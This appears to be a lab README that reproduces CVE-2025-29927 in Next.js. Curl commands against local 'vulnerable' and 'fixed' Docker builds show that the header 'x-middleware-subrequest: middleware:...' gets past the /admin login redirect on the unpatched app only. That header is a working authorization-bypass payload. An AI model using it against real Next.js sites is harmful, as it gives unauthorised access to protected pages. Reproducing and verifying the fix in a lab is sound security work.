git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927

cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln

curl -i http://localhost:3000/admin

HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin

HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

...

cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed

curl -i http://localhost:3000/admin

HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin

HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked